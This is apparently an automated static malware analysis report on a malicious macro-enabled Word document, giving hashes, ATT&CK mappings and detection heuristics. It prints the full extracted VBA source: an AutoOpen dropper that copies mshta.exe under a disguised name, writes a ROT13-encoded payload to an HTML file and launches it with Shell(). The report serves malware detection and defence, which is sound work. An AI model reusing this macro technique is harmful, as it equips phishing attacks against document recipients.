Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fa9b1eee0d9a392e…

MALICIOUS

Office (OOXML)

70.9 KB Created: 2020-08-13 09:05:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: f4cd7fe7a4c000093afced795aac3497 SHA-1: e0094238e80f334d815edf66afdad35c4f7bf1b3 SHA-256: fa9b1eee0d9a392ec50328aeff149fa1398f9016dc39d9ce388bef79185bb76e
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro triggers the execution of a shell command via the Shell() function. This command is constructed from concatenated strings to form the path 'C:\windows\system32\mshta.exe' and is likely used to download and execute a second-stage payload from 'C:\users\public\in.html' or 'C:\users\public\the embedded link'.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2314 bytes
SHA-256: 20b27fdd7331e2c363481d6fe8abb8d6a7e63b815a6da8f32dd9cdd0c3879111
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aeyHM"
Function aE9uD()
aE9uD = frm.txt.text
End Function
Public Function aAm2fb(aOGHq, ajYNb)
aAm2fb = aSI6RQ(aOGHq, ajYNb)
End Function
Sub AutoOpen()
main
End Sub
Public Sub adncJ(ato6DL)
ac2Ny = Shell(ato6DL, vbNormalFocus)
End Sub

Attribute VB_Name = "aTc9Q"
Public Const aO9GNR As String = "c&:&\&w&i&n&d&o&w&s&\&s&y&s&t&e&m&3&2&\&m&s&h&t&a&.&e&x&e&"
Public Const aCYXHe As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&c&a&l&c&.&c&o&m&"
Public Const aqg5z As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&i&n&.&h&t&m&l&"
Public Const aJDOr As String = "&"
Public Const aCiIF As String = "&"
Public Const a9bLVw As String = "&"
Public Function aaot7I(aGNkXK, a6u9f)
FileNumber = FreeFile
Open aGNkXK For Output As #FileNumber
Print #FileNumber, Spc(281 - 31)
Print #FileNumber, a6u9f
Print #FileNumber, Spc(281 - 31)
Close #FileNumber
End Function
Function aSI6RQ(aDtzkb, aUILT)
aSI6RQ = Replace(aDtzkb, aUILT, "")
End Function
Sub aAOy9(ahRv9, af2Ek8)
FileCopy ahRv9, af2Ek8
End Sub
Function aByCn(Test$) As String
  Dim tt As Long, x As Integer, y As Integer
  For tt = 1 To Len(Test$)
    y% = 0
    x% = Asc(Mid$(Test$, tt, 1))
    If (x% > 64 And x% < 91) Or (x% > 96 And x% < 123) Then
      y% = 13
      x% = x% - y%
      If x% < 97 And x% > 83 Then x% = x% + 26 Else If x% < 65 Then x% = x% + 26
    End If
    Mid$(Test$, tt, 1) = Chr$(x%)
  Next tt
  aByCn = Test$
End Function

Attribute VB_Name = "a9I70"
Sub main()
avahlH = aAm2fb(aO9GNR, aJDOr)
a4zNc = aAm2fb(aCYXHe, aCiIF)
a1gl4H = aAm2fb(aqg5z, a9bLVw)
aAOy9 avahlH, a4zNc
Call aaot7I(a1gl4H, aByCn(aE9uD))
adncJ (a4zNc & " " & a1gl4H)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{AAFD09A3-F04C-47AF-B2E4-F2C26492DD12}{1BC8ACDD-6DDC-4B56-860A-D7E0C1972DBE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 55808 bytes
SHA-256: c7a3c47998440a96d49463bdd52b43b1a7e39d9f4a958491bf755dd3c4dcfbde
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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